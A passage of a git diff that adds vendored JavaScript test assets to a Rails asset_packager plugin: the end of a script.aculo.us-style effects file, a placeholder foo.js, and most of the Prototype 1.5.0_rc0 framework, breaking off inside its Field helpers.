+ new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }) + ], Object.extend({ + beforeStartInternal: function(effect) { + effect.effects[0].element.makePositioned(); + effect.effects[0].element.makeClipping(); }, + afterFinishInternal: function(effect) { + effect.effects[0].element.hide(); + effect.effects[0].element.undoClipping(); + effect.effects[0].element.undoPositioned(); + effect.effects[0].element.setStyle(oldStyle); } + }, options) + ); +} + +Effect.Pulsate = function(element) { + element = $(element); + var options = arguments[1] || {}; + var oldOpacity = element.getInlineOpacity(); + var transition = options.transition || Effect.Transitions.sinoidal; + var reverser = function(pos){ return transition(1-Effect.Transitions.pulse(pos)) }; + reverser.bind(transition); + return new Effect.Opacity(element, + Object.extend(Object.extend({ duration: 3.0, from: 0, + afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); } + }, options), {transition: reverser})); +} + +Effect.Fold = function(element) { + element = $(element); + var oldStyle = { + top: element.style.top, + left: element.style.left, + width: element.style.width, + height: element.style.height }; + Element.makeClipping(element); + return new Effect.Scale(element, 5, Object.extend({ + scaleContent: false, + scaleX: false, + afterFinishInternal: function(effect) { + new Effect.Scale(element, 1, { + scaleContent: false, + scaleY: false, + afterFinishInternal: function(effect) { + effect.element.hide(); + effect.element.undoClipping(); + effect.element.setStyle(oldStyle); + } }); + }}, arguments[1] || {})); +}; + +['setOpacity','getOpacity','getInlineOpacity','forceRerendering','setContentZoom', + 'collectTextNodes','collectTextNodesIgnoreClass','childrenWithClassName'].each( + function(f) { Element.Methods[f] = Element[f]; } +); + +Element.Methods.visualEffect = function(element, effect, options) { + s = effect.gsub(/_/, '-').camelize(); + effect_class = s.charAt(0).toUpperCase() + s.substring(1); + new Effect[effect_class](element, options); + return $(element); +}; + +Element.addMethods(); \ No newline at end of file diff --git a/vendor/plugins/asset_packager/test/assets/javascripts/foo.js b/vendor/plugins/asset_packager/test/assets/javascripts/foo.js new file mode 100644 index 0000000..7e4cd9a --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/javascripts/foo.js @@ -0,0 +1,4 @@ +foo foo foo +foo foo foo +foo foo foo + diff --git a/vendor/plugins/asset_packager/test/assets/javascripts/prototype.js b/vendor/plugins/asset_packager/test/assets/javascripts/prototype.js new file mode 100644 index 0000000..0caf9cd --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/javascripts/prototype.js @@ -0,0 +1,2006 @@ +/* Prototype JavaScript framework, version 1.5.0_rc0 + * (c) 2005 Sam Stephenson + * + * Prototype is freely distributable under the terms of an MIT-style license. + * For details, see the Prototype web site: http://prototype.conio.net/ + * +/*--------------------------------------------------------------------------*/ + +var Prototype = { + Version: '1.5.0_rc0', + ScriptFragment: '(?:)((\n|\r|.)*?)(?:<\/script>)', + + emptyFunction: function() {}, + K: function(x) {return x} +} + +var Class = { + create: function() { + return function() { + this.initialize.apply(this, arguments); + } + } +} + +var Abstract = new Object(); + +Object.extend = function(destination, source) { + for (var property in source) { + destination[property] = source[property]; + } + return destination; +} + +Object.inspect = function(object) { + try { + if (object == undefined) return 'undefined'; + if (object == null) return 'null'; + return object.inspect ? object.inspect() : object.toString(); + } catch (e) { + if (e instanceof RangeError) return '...'; + throw e; + } +} + +Function.prototype.bind = function() { + var __method = this, args = $A(arguments), object = args.shift(); + return function() { + return __method.apply(object, args.concat($A(arguments))); + } +} + +Function.prototype.bindAsEventListener = function(object) { + var __method = this; + return function(event) { + return __method.call(object, event || window.event); + } +} + +Object.extend(Number.prototype, { + toColorPart: function() { + var digits = this.toString(16); + if (this < 16) return '0' + digits; + return digits; + }, + + succ: function() { + return this + 1; + }, + + times: function(iterator) { + $R(0, this, true).each(iterator); + return this; + } +}); + +var Try = { + these: function() { + var returnValue; + + for (var i = 0; i < arguments.length; i++) { + var lambda = arguments[i]; + try { + returnValue = lambda(); + break; + } catch (e) {} + } + + return returnValue; + } +} + +/*--------------------------------------------------------------------------*/ + +var PeriodicalExecuter = Class.create(); +PeriodicalExecuter.prototype = { + initialize: function(callback, frequency) { + this.callback = callback; + this.frequency = frequency; + this.currentlyExecuting = false; + + this.registerCallback(); + }, + + registerCallback: function() { + setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); + }, + + onTimerEvent: function() { + if (!this.currentlyExecuting) { + try { + this.currentlyExecuting = true; + this.callback(); + } finally { + this.currentlyExecuting = false; + } + } + } +} +Object.extend(String.prototype, { + gsub: function(pattern, replacement) { + var result = '', source = this, match; + replacement = arguments.callee.prepareReplacement(replacement); + + while (source.length > 0) { + if (match = source.match(pattern)) { + result += source.slice(0, match.index); + result += (replacement(match) || '').toString(); + source = source.slice(match.index + match[0].length); + } else { + result += source, source = ''; + } + } + return result; + }, + + sub: function(pattern, replacement, count) { + replacement = this.gsub.prepareReplacement(replacement); + count = count === undefined ? 1 : count; + + return this.gsub(pattern, function(match) { + if (--count < 0) return match[0]; + return replacement(match); + }); + }, + + scan: function(pattern, iterator) { + this.gsub(pattern, iterator); + return this; + }, + + truncate: function(length, truncation) { + length = length || 30; + truncation = truncation === undefined ? '...' : truncation; + return this.length > length ? + this.slice(0, length - truncation.length) + truncation : this; + }, + + strip: function() { + return this.replace(/^\s+/, '').replace(/\s+$/, ''); + }, + + stripTags: function() { + return this.replace(/<\/?[^>]+>/gi, ''); + }, + + stripScripts: function() { + return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); + }, + + extractScripts: function() { + var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); + var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); + return (this.match(matchAll) || []).map(function(scriptTag) { + return (scriptTag.match(matchOne) || ['', ''])[1]; + }); + }, + + evalScripts: function() { + return this.extractScripts().map(function(script) { return eval(script) }); + }, + + escapeHTML: function() { + var div = document.createElement('div'); + var text = document.createTextNode(this); + div.appendChild(text); + return div.innerHTML; + }, + + unescapeHTML: function() { + var div = document.createElement('div'); + div.innerHTML = this.stripTags(); + return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; + }, + + toQueryParams: function() { + var pairs = this.match(/^\??(.*)$/)[1].split('&'); + return pairs.inject({}, function(params, pairString) { + var pair = pairString.split('='); + params[pair[0]] = pair[1]; + return params; + }); + }, + + toArray: function() { + return this.split(''); + }, + + camelize: function() { + var oStringList = this.split('-'); + if (oStringList.length == 1) return oStringList[0]; + + var camelizedString = this.indexOf('-') == 0 + ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) + : oStringList[0]; + + for (var i = 1, len = oStringList.length; i < len; i++) { + var s = oStringList[i]; + camelizedString += s.charAt(0).toUpperCase() + s.substring(1); + } + + return camelizedString; + }, + + inspect: function() { + return "'" + this.replace(/\\/g, '\\\\').replace(/'/g, '\\\'') + "'"; + } +}); + +String.prototype.gsub.prepareReplacement = function(replacement) { + if (typeof replacement == 'function') return replacement; + var template = new Template(replacement); + return function(match) { return template.evaluate(match) }; +} + +String.prototype.parseQuery = String.prototype.toQueryParams; + +var Template = Class.create(); +Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/; +Template.prototype = { + initialize: function(template, pattern) { + this.template = template.toString(); + this.pattern = pattern || Template.Pattern; + }, + + evaluate: function(object) { + return this.template.gsub(this.pattern, function(match) { + var before = match[1]; + if (before == '\\') return match[2]; + return before + (object[match[3]] || '').toString(); + }); + } +} + +var $break = new Object(); +var $continue = new Object(); + +var Enumerable = { + each: function(iterator) { + var index = 0; + try { + this._each(function(value) { + try { + iterator(value, index++); + } catch (e) { + if (e != $continue) throw e; + } + }); + } catch (e) { + if (e != $break) throw e; + } + }, + + all: function(iterator) { + var result = true; + this.each(function(value, index) { + result = result && !!(iterator || Prototype.K)(value, index); + if (!result) throw $break; + }); + return result; + }, + + any: function(iterator) { + var result = true; + this.each(function(value, index) { + if (result = !!(iterator || Prototype.K)(value, index)) + throw $break; + }); + return result; + }, + + collect: function(iterator) { + var results = []; + this.each(function(value, index) { + results.push(iterator(value, index)); + }); + return results; + }, + + detect: function (iterator) { + var result; + this.each(function(value, index) { + if (iterator(value, index)) { + result = value; + throw $break; + } + }); + return result; + }, + + findAll: function(iterator) { + var results = []; + this.each(function(value, index) { + if (iterator(value, index)) + results.push(value); + }); + return results; + }, + + grep: function(pattern, iterator) { + var results = []; + this.each(function(value, index) { + var stringValue = value.toString(); + if (stringValue.match(pattern)) + results.push((iterator || Prototype.K)(value, index)); + }) + return results; + }, + + include: function(object) { + var found = false; + this.each(function(value) { + if (value == object) { + found = true; + throw $break; + } + }); + return found; + }, + + inject: function(memo, iterator) { + this.each(function(value, index) { + memo = iterator(memo, value, index); + }); + return memo; + }, + + invoke: function(method) { + var args = $A(arguments).slice(1); + return this.collect(function(value) { + return value[method].apply(value, args); + }); + }, + + max: function(iterator) { + var result; + this.each(function(value, index) { + value = (iterator || Prototype.K)(value, index); + if (result == undefined || value >= result) + result = value; + }); + return result; + }, + + min: function(iterator) { + var result; + this.each(function(value, index) { + value = (iterator || Prototype.K)(value, index); + if (result == undefined || value < result) + result = value; + }); + return result; + }, + + partition: function(iterator) { + var trues = [], falses = []; + this.each(function(value, index) { + ((iterator || Prototype.K)(value, index) ? + trues : falses).push(value); + }); + return [trues, falses]; + }, + + pluck: function(property) { + var results = []; + this.each(function(value, index) { + results.push(value[property]); + }); + return results; + }, + + reject: function(iterator) { + var results = []; + this.each(function(value, index) { + if (!iterator(value, index)) + results.push(value); + }); + return results; + }, + + sortBy: function(iterator) { + return this.collect(function(value, index) { + return {value: value, criteria: iterator(value, index)}; + }).sort(function(left, right) { + var a = left.criteria, b = right.criteria; + return a < b ? -1 : a > b ? 1 : 0; + }).pluck('value'); + }, + + toArray: function() { + return this.collect(Prototype.K); + }, + + zip: function() { + var iterator = Prototype.K, args = $A(arguments); + if (typeof args.last() == 'function') + iterator = args.pop(); + + var collections = [this].concat(args).map($A); + return this.map(function(value, index) { + return iterator(collections.pluck(index)); + }); + }, + + inspect: function() { + return '#'; + } +} + +Object.extend(Enumerable, { + map: Enumerable.collect, + find: Enumerable.detect, + select: Enumerable.findAll, + member: Enumerable.include, + entries: Enumerable.toArray +}); +var $A = Array.from = function(iterable) { + if (!iterable) return []; + if (iterable.toArray) { + return iterable.toArray(); + } else { + var results = []; + for (var i = 0; i < iterable.length; i++) + results.push(iterable[i]); + return results; + } +} + +Object.extend(Array.prototype, Enumerable); + +if (!Array.prototype._reverse) + Array.prototype._reverse = Array.prototype.reverse; + +Object.extend(Array.prototype, { + _each: function(iterator) { + for (var i = 0; i < this.length; i++) + iterator(this[i]); + }, + + clear: function() { + this.length = 0; + return this; + }, + + first: function() { + return this[0]; + }, + + last: function() { + return this[this.length - 1]; + }, + + compact: function() { + return this.select(function(value) { + return value != undefined || value != null; + }); + }, + + flatten: function() { + return this.inject([], function(array, value) { + return array.concat(value && value.constructor == Array ? + value.flatten() : [value]); + }); + }, + + without: function() { + var values = $A(arguments); + return this.select(function(value) { + return !values.include(value); + }); + }, + + indexOf: function(object) { + for (var i = 0; i < this.length; i++) + if (this[i] == object) return i; + return -1; + }, + + reverse: function(inline) { + return (inline !== false ? this : this.toArray())._reverse(); + }, + + inspect: function() { + return '[' + this.map(Object.inspect).join(', ') + ']'; + } +}); +var Hash = { + _each: function(iterator) { + for (var key in this) { + var value = this[key]; + if (typeof value == 'function') continue; + + var pair = [key, value]; + pair.key = key; + pair.value = value; + iterator(pair); + } + }, + + keys: function() { + return this.pluck('key'); + }, + + values: function() { + return this.pluck('value'); + }, + + merge: function(hash) { + return $H(hash).inject($H(this), function(mergedHash, pair) { + mergedHash[pair.key] = pair.value; + return mergedHash; + }); + }, + + toQueryString: function() { + return this.map(function(pair) { + return pair.map(encodeURIComponent).join('='); + }).join('&'); + }, + + inspect: function() { + return '#'; + } +} + +function $H(object) { + var hash = Object.extend({}, object || {}); + Object.extend(hash, Enumerable); + Object.extend(hash, Hash); + return hash; +} +ObjectRange = Class.create(); +Object.extend(ObjectRange.prototype, Enumerable); +Object.extend(ObjectRange.prototype, { + initialize: function(start, end, exclusive) { + this.start = start; + this.end = end; + this.exclusive = exclusive; + }, + + _each: function(iterator) { + var value = this.start; + do { + iterator(value); + value = value.succ(); + } while (this.include(value)); + }, + + include: function(value) { + if (value < this.start) + return false; + if (this.exclusive) + return value < this.end; + return value <= this.end; + } +}); + +var $R = function(start, end, exclusive) { + return new ObjectRange(start, end, exclusive); +} + +var Ajax = { + getTransport: function() { + return Try.these( + function() {return new XMLHttpRequest()}, + function() {return new ActiveXObject('Msxml2.XMLHTTP')}, + function() {return new ActiveXObject('Microsoft.XMLHTTP')} + ) || false; + }, + + activeRequestCount: 0 +} + +Ajax.Responders = { + responders: [], + + _each: function(iterator) { + this.responders._each(iterator); + }, + + register: function(responderToAdd) { + if (!this.include(responderToAdd)) + this.responders.push(responderToAdd); + }, + + unregister: function(responderToRemove) { + this.responders = this.responders.without(responderToRemove); + }, + + dispatch: function(callback, request, transport, json) { + this.each(function(responder) { + if (responder[callback] && typeof responder[callback] == 'function') { + try { + responder[callback].apply(responder, [request, transport, json]); + } catch (e) {} + } + }); + } +}; + +Object.extend(Ajax.Responders, Enumerable); + +Ajax.Responders.register({ + onCreate: function() { + Ajax.activeRequestCount++; + }, + + onComplete: function() { + Ajax.activeRequestCount--; + } +}); + +Ajax.Base = function() {}; +Ajax.Base.prototype = { + setOptions: function(options) { + this.options = { + method: 'post', + asynchronous: true, + contentType: 'application/x-www-form-urlencoded', + parameters: '' + } + Object.extend(this.options, options || {}); + }, + + responseIsSuccess: function() { + return this.transport.status == undefined + || this.transport.status == 0 + || (this.transport.status >= 200 && this.transport.status < 300); + }, + + responseIsFailure: function() { + return !this.responseIsSuccess(); + } +} + +Ajax.Request = Class.create(); +Ajax.Request.Events = + ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete']; + +Ajax.Request.prototype = Object.extend(new Ajax.Base(), { + initialize: function(url, options) { + this.transport = Ajax.getTransport(); + this.setOptions(options); + this.request(url); + }, + + request: function(url) { + var parameters = this.options.parameters || ''; + if (parameters.length > 0) parameters += '&_='; + + try { + this.url = url; + if (this.options.method == 'get' && parameters.length > 0) + this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; + + Ajax.Responders.dispatch('onCreate', this, this.transport); + + this.transport.open(this.options.method, this.url, + this.options.asynchronous); + + if (this.options.asynchronous) { + this.transport.onreadystatechange = this.onStateChange.bind(this); + setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); + } + + this.setRequestHeaders(); + + var body = this.options.postBody ? this.options.postBody : parameters; + this.transport.send(this.options.method == 'post' ? body : null); + + } catch (e) { + this.dispatchException(e); + } + }, + + setRequestHeaders: function() { + var requestHeaders = + ['X-Requested-With', 'XMLHttpRequest', + 'X-Prototype-Version', Prototype.Version, + 'Accept', 'text/javascript, text/html, application/xml, text/xml, */*']; + + if (this.options.method == 'post') { + requestHeaders.push('Content-type', this.options.contentType); + + /* Force "Connection: close" for Mozilla browsers to work around + * a bug where XMLHttpReqeuest sends an incorrect Content-length + * header. See Mozilla Bugzilla #246651. + */ + if (this.transport.overrideMimeType) + requestHeaders.push('Connection', 'close'); + } + + if (this.options.requestHeaders) + requestHeaders.push.apply(requestHeaders, this.options.requestHeaders); + + for (var i = 0; i < requestHeaders.length; i += 2) + this.transport.setRequestHeader(requestHeaders[i], requestHeaders[i+1]); + }, + + onStateChange: function() { + var readyState = this.transport.readyState; + if (readyState != 1) + this.respondToReadyState(this.transport.readyState); + }, + + header: function(name) { + try { + return this.transport.getResponseHeader(name); + } catch (e) {} + }, + + evalJSON: function() { + try { + return eval('(' + this.header('X-JSON') + ')'); + } catch (e) {} + }, + + evalResponse: function() { + try { + return eval(this.transport.responseText); + } catch (e) { + this.dispatchException(e); + } + }, + + respondToReadyState: function(readyState) { + var event = Ajax.Request.Events[readyState]; + var transport = this.transport, json = this.evalJSON(); + + if (event == 'Complete') { + try { + (this.options['on' + this.transport.status] + || this.options['on' + (this.responseIsSuccess() ? 'Success' : 'Failure')] + || Prototype.emptyFunction)(transport, json); + } catch (e) { + this.dispatchException(e); + } + + if ((this.header('Content-type') || '').match(/^text\/javascript/i)) + this.evalResponse(); + } + + try { + (this.options['on' + event] || Prototype.emptyFunction)(transport, json); + Ajax.Responders.dispatch('on' + event, this, transport, json); + } catch (e) { + this.dispatchException(e); + } + + /* Avoid memory leak in MSIE: clean up the oncomplete event handler */ + if (event == 'Complete') + this.transport.onreadystatechange = Prototype.emptyFunction; + }, + + dispatchException: function(exception) { + (this.options.onException || Prototype.emptyFunction)(this, exception); + Ajax.Responders.dispatch('onException', this, exception); + } +}); + +Ajax.Updater = Class.create(); + +Object.extend(Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype), { + initialize: function(container, url, options) { + this.containers = { + success: container.success ? $(container.success) : $(container), + failure: container.failure ? $(container.failure) : + (container.success ? null : $(container)) + } + + this.transport = Ajax.getTransport(); + this.setOptions(options); + + var onComplete = this.options.onComplete || Prototype.emptyFunction; + this.options.onComplete = (function(transport, object) { + this.updateContent(); + onComplete(transport, object); + }).bind(this); + + this.request(url); + }, + + updateContent: function() { + var receiver = this.responseIsSuccess() ? + this.containers.success : this.containers.failure; + var response = this.transport.responseText; + + if (!this.options.evalScripts) + response = response.stripScripts(); + + if (receiver) { + if (this.options.insertion) { + new this.options.insertion(receiver, response); + } else { + Element.update(receiver, response); + } + } + + if (this.responseIsSuccess()) { + if (this.onComplete) + setTimeout(this.onComplete.bind(this), 10); + } + } +}); + +Ajax.PeriodicalUpdater = Class.create(); +Ajax.PeriodicalUpdater.prototype = Object.extend(new Ajax.Base(), { + initialize: function(container, url, options) { + this.setOptions(options); + this.onComplete = this.options.onComplete; + + this.frequency = (this.options.frequency || 2); + this.decay = (this.options.decay || 1); + + this.updater = {}; + this.container = container; + this.url = url; + + this.start(); + }, + + start: function() { + this.options.onComplete = this.updateComplete.bind(this); + this.onTimerEvent(); + }, + + stop: function() { + this.updater.onComplete = undefined; + clearTimeout(this.timer); + (this.onComplete || Prototype.emptyFunction).apply(this, arguments); + }, + + updateComplete: function(request) { + if (this.options.decay) { + this.decay = (request.responseText == this.lastText ? + this.decay * this.options.decay : 1); + + this.lastText = request.responseText; + } + this.timer = setTimeout(this.onTimerEvent.bind(this), + this.decay * this.frequency * 1000); + }, + + onTimerEvent: function() { + this.updater = new Ajax.Updater(this.container, this.url, this.options); + } +}); +function $() { + var results = [], element; + for (var i = 0; i < arguments.length; i++) { + element = arguments[i]; + if (typeof element == 'string') + element = document.getElementById(element); + results.push(Element.extend(element)); + } + return results.length < 2 ? results[0] : results; +} + +document.getElementsByClassName = function(className, parentElement) { + var children = ($(parentElement) || document.body).getElementsByTagName('*'); + return $A(children).inject([], function(elements, child) { + if (child.className.match(new RegExp("(^|\\s)" + className + "(\\s|$)"))) + elements.push(Element.extend(child)); + return elements; + }); +} + +/*--------------------------------------------------------------------------*/ + +if (!window.Element) + var Element = new Object(); + +Element.extend = function(element) { + if (!element) return; + if (_nativeExtensions) return element; + + if (!element._extended && element.tagName && element != window) { + var methods = Element.Methods, cache = Element.extend.cache; + for (property in methods) { + var value = methods[property]; + if (typeof value == 'function') + element[property] = cache.findOrStore(value); + } + } + + element._extended = true; + return element; +} + +Element.extend.cache = { + findOrStore: function(value) { + return this[value] = this[value] || function() { + return value.apply(null, [this].concat($A(arguments))); + } + } +} + +Element.Methods = { + visible: function(element) { + return $(element).style.display != 'none'; + }, + + toggle: function() { + for (var i = 0; i < arguments.length; i++) { + var element = $(arguments[i]); + Element[Element.visible(element) ? 'hide' : 'show'](element); + } + }, + + hide: function() { + for (var i = 0; i < arguments.length; i++) { + var element = $(arguments[i]); + element.style.display = 'none'; + } + }, + + show: function() { + for (var i = 0; i < arguments.length; i++) { + var element = $(arguments[i]); + element.style.display = ''; + } + }, + + remove: function(element) { + element = $(element); + element.parentNode.removeChild(element); + }, + + update: function(element, html) { + $(element).innerHTML = html.stripScripts(); + setTimeout(function() {html.evalScripts()}, 10); + }, + + replace: function(element, html) { + element = $(element); + if (element.outerHTML) { + element.outerHTML = html.stripScripts(); + } else { + var range = element.ownerDocument.createRange(); + range.selectNodeContents(element); + element.parentNode.replaceChild( + range.createContextualFragment(html.stripScripts()), element); + } + setTimeout(function() {html.evalScripts()}, 10); + }, + + getHeight: function(element) { + element = $(element); + return element.offsetHeight; + }, + + classNames: function(element) { + return new Element.ClassNames(element); + }, + + hasClassName: function(element, className) { + if (!(element = $(element))) return; + return Element.classNames(element).include(className); + }, + + addClassName: function(element, className) { + if (!(element = $(element))) return; + return Element.classNames(element).add(className); + }, + + removeClassName: function(element, className) { + if (!(element = $(element))) return; + return Element.classNames(element).remove(className); + }, + + // removes whitespace-only text node children + cleanWhitespace: function(element) { + element = $(element); + for (var i = 0; i < element.childNodes.length; i++) { + var node = element.childNodes[i]; + if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) + Element.remove(node); + } + }, + + empty: function(element) { + return $(element).innerHTML.match(/^\s*$/); + }, + + childOf: function(element, ancestor) { + element = $(element), ancestor = $(ancestor); + while (element = element.parentNode) + if (element == ancestor) return true; + return false; + }, + + scrollTo: function(element) { + element = $(element); + var x = element.x ? element.x : element.offsetLeft, + y = element.y ? element.y : element.offsetTop; + window.scrollTo(x, y); + }, + + getStyle: function(element, style) { + element = $(element); + var value = element.style[style.camelize()]; + if (!value) { + if (document.defaultView && document.defaultView.getComputedStyle) { + var css = document.defaultView.getComputedStyle(element, null); + value = css ? css.getPropertyValue(style) : null; + } else if (element.currentStyle) { + value = element.currentStyle[style.camelize()]; + } + } + + if (window.opera && ['left', 'top', 'right', 'bottom'].include(style)) + if (Element.getStyle(element, 'position') == 'static') value = 'auto'; + + return value == 'auto' ? null : value; + }, + + setStyle: function(element, style) { + element = $(element); + for (var name in style) + element.style[name.camelize()] = style[name]; + }, + + getDimensions: function(element) { + element = $(element); + if (Element.getStyle(element, 'display') != 'none') + return {width: element.offsetWidth, height: element.offsetHeight}; + + // All *Width and *Height properties give 0 on elements with display none, + // so enable the element temporarily + var els = element.style; + var originalVisibility = els.visibility; + var originalPosition = els.position; + els.visibility = 'hidden'; + els.position = 'absolute'; + els.display = ''; + var originalWidth = element.clientWidth; + var originalHeight = element.clientHeight; + els.display = 'none'; + els.position = originalPosition; + els.visibility = originalVisibility; + return {width: originalWidth, height: originalHeight}; + }, + + makePositioned: function(element) { + element = $(element); + var pos = Element.getStyle(element, 'position'); + if (pos == 'static' || !pos) { + element._madePositioned = true; + element.style.position = 'relative'; + // Opera returns the offset relative to the positioning context, when an + // element is position relative but top and left have not been defined + if (window.opera) { + element.style.top = 0; + element.style.left = 0; + } + } + }, + + undoPositioned: function(element) { + element = $(element); + if (element._madePositioned) { + element._madePositioned = undefined; + element.style.position = + element.style.top = + element.style.left = + element.style.bottom = + element.style.right = ''; + } + }, + + makeClipping: function(element) { + element = $(element); + if (element._overflow) return; + element._overflow = element.style.overflow; + if ((Element.getStyle(element, 'overflow') || 'visible') != 'hidden') + element.style.overflow = 'hidden'; + }, + + undoClipping: function(element) { + element = $(element); + if (element._overflow) return; + element.style.overflow = element._overflow; + element._overflow = undefined; + } +} + +Object.extend(Element, Element.Methods); + +var _nativeExtensions = false; + +if(!HTMLElement && /Konqueror|Safari|KHTML/.test(navigator.userAgent)) { + var HTMLElement = {} + HTMLElement.prototype = document.createElement('div').__proto__; +} + +Element.addMethods = function(methods) { + Object.extend(Element.Methods, methods || {}); + + if(typeof HTMLElement != 'undefined') { + var methods = Element.Methods, cache = Element.extend.cache; + for (property in methods) { + var value = methods[property]; + if (typeof value == 'function') + HTMLElement.prototype[property] = cache.findOrStore(value); + } + _nativeExtensions = true; + } +} + +Element.addMethods(); + +var Toggle = new Object(); +Toggle.display = Element.toggle; + +/*--------------------------------------------------------------------------*/ + +Abstract.Insertion = function(adjacency) { + this.adjacency = adjacency; +} + +Abstract.Insertion.prototype = { + initialize: function(element, content) { + this.element = $(element); + this.content = content.stripScripts(); + + if (this.adjacency && this.element.insertAdjacentHTML) { + try { + this.element.insertAdjacentHTML(this.adjacency, this.content); + } catch (e) { + var tagName = this.element.tagName.toLowerCase(); + if (tagName == 'tbody' || tagName == 'tr') { + this.insertContent(this.contentFromAnonymousTable()); + } else { + throw e; + } + } + } else { + this.range = this.element.ownerDocument.createRange(); + if (this.initializeRange) this.initializeRange(); + this.insertContent([this.range.createContextualFragment(this.content)]); + } + + setTimeout(function() {content.evalScripts()}, 10); + }, + + contentFromAnonymousTable: function() { + var div = document.createElement('div'); + div.innerHTML = '' + this.content + '
    '; + return $A(div.childNodes[0].childNodes[0].childNodes); + } +} + +var Insertion = new Object(); + +Insertion.Before = Class.create(); +Insertion.Before.prototype = Object.extend(new Abstract.Insertion('beforeBegin'), { + initializeRange: function() { + this.range.setStartBefore(this.element); + }, + + insertContent: function(fragments) { + fragments.each((function(fragment) { + this.element.parentNode.insertBefore(fragment, this.element); + }).bind(this)); + } +}); + +Insertion.Top = Class.create(); +Insertion.Top.prototype = Object.extend(new Abstract.Insertion('afterBegin'), { + initializeRange: function() { + this.range.selectNodeContents(this.element); + this.range.collapse(true); + }, + + insertContent: function(fragments) { + fragments.reverse(false).each((function(fragment) { + this.element.insertBefore(fragment, this.element.firstChild); + }).bind(this)); + } +}); + +Insertion.Bottom = Class.create(); +Insertion.Bottom.prototype = Object.extend(new Abstract.Insertion('beforeEnd'), { + initializeRange: function() { + this.range.selectNodeContents(this.element); + this.range.collapse(this.element); + }, + + insertContent: function(fragments) { + fragments.each((function(fragment) { + this.element.appendChild(fragment); + }).bind(this)); + } +}); + +Insertion.After = Class.create(); +Insertion.After.prototype = Object.extend(new Abstract.Insertion('afterEnd'), { + initializeRange: function() { + this.range.setStartAfter(this.element); + }, + + insertContent: function(fragments) { + fragments.each((function(fragment) { + this.element.parentNode.insertBefore(fragment, + this.element.nextSibling); + }).bind(this)); + } +}); + +/*--------------------------------------------------------------------------*/ + +Element.ClassNames = Class.create(); +Element.ClassNames.prototype = { + initialize: function(element) { + this.element = $(element); + }, + + _each: function(iterator) { + this.element.className.split(/\s+/).select(function(name) { + return name.length > 0; + })._each(iterator); + }, + + set: function(className) { + this.element.className = className; + }, + + add: function(classNameToAdd) { + if (this.include(classNameToAdd)) return; + this.set(this.toArray().concat(classNameToAdd).join(' ')); + }, + + remove: function(classNameToRemove) { + if (!this.include(classNameToRemove)) return; + this.set(this.select(function(className) { + return className != classNameToRemove; + }).join(' ')); + }, + + toString: function() { + return this.toArray().join(' '); + } +} + +Object.extend(Element.ClassNames.prototype, Enumerable); +var Selector = Class.create(); +Selector.prototype = { + initialize: function(expression) { + this.params = {classNames: []}; + this.expression = expression.toString().strip(); + this.parseExpression(); + this.compileMatcher(); + }, + + parseExpression: function() { + function abort(message) { throw 'Parse error in selector: ' + message; } + + if (this.expression == '') abort('empty expression'); + + var params = this.params, expr = this.expression, match, modifier, clause, rest; + while (match = expr.match(/^(.*)\[([a-z0-9_:-]+?)(?:([~\|!]?=)(?:"([^"]*)"|([^\]\s]*)))?\]$/i)) { + params.attributes = params.attributes || []; + params.attributes.push({name: match[2], operator: match[3], value: match[4] || match[5] || ''}); + expr = match[1]; + } + + if (expr == '*') return this.params.wildcard = true; + + while (match = expr.match(/^([^a-z0-9_-])?([a-z0-9_-]+)(.*)/i)) { + modifier = match[1], clause = match[2], rest = match[3]; + switch (modifier) { + case '#': params.id = clause; break; + case '.': params.classNames.push(clause); break; + case '': + case undefined: params.tagName = clause.toUpperCase(); break; + default: abort(expr.inspect()); + } + expr = rest; + } + + if (expr.length > 0) abort(expr.inspect()); + }, + + buildMatchExpression: function() { + var params = this.params, conditions = [], clause; + + if (params.wildcard) + conditions.push('true'); + if (clause = params.id) + conditions.push('element.id == ' + clause.inspect()); + if (clause = params.tagName) + conditions.push('element.tagName.toUpperCase() == ' + clause.inspect()); + if ((clause = params.classNames).length > 0) + for (var i = 0; i < clause.length; i++) + conditions.push('Element.hasClassName(element, ' + clause[i].inspect() + ')'); + if (clause = params.attributes) { + clause.each(function(attribute) { + var value = 'element.getAttribute(' + attribute.name.inspect() + ')'; + var splitValueBy = function(delimiter) { + return value + ' && ' + value + '.split(' + delimiter.inspect() + ')'; + } + + switch (attribute.operator) { + case '=': conditions.push(value + ' == ' + attribute.value.inspect()); break; + case '~=': conditions.push(splitValueBy(' ') + '.include(' + attribute.value.inspect() + ')'); break; + case '|=': conditions.push( + splitValueBy('-') + '.first().toUpperCase() == ' + attribute.value.toUpperCase().inspect() + ); break; + case '!=': conditions.push(value + ' != ' + attribute.value.inspect()); break; + case '': + case undefined: conditions.push(value + ' != null'); break; + default: throw 'Unknown operator ' + attribute.operator + ' in selector'; + } + }); + } + + return conditions.join(' && '); + }, + + compileMatcher: function() { + this.match = new Function('element', 'if (!element.tagName) return false; \ + return ' + this.buildMatchExpression()); + }, + + findElements: function(scope) { + var element; + + if (element = $(this.params.id)) + if (this.match(element)) + if (!scope || Element.childOf(element, scope)) + return [element]; + + scope = (scope || document).getElementsByTagName(this.params.tagName || '*'); + + var results = []; + for (var i = 0; i < scope.length; i++) + if (this.match(element = scope[i])) + results.push(Element.extend(element)); + + return results; + }, + + toString: function() { + return this.expression; + } +} + +function $$() { + return $A(arguments).map(function(expression) { + return expression.strip().split(/\s+/).inject([null], function(results, expr) { + var selector = new Selector(expr); + return results.map(selector.findElements.bind(selector)).flatten(); + }); + }).flatten(); +} +var Field = { + clear: function() { + for (var i = 0; i < arguments.length; i++) + $(arguments[i]).value = ''; + }, + + focus: function(element) { + $(element).focus(); + }, + + present: function() { + for (var i = 0; i < arguments.length; i++) + if ($(arguments[i]).value == '') return false; + return true; + }, + + select: function(element) { + $(element).select(); + }, + + activate: function(element) { + 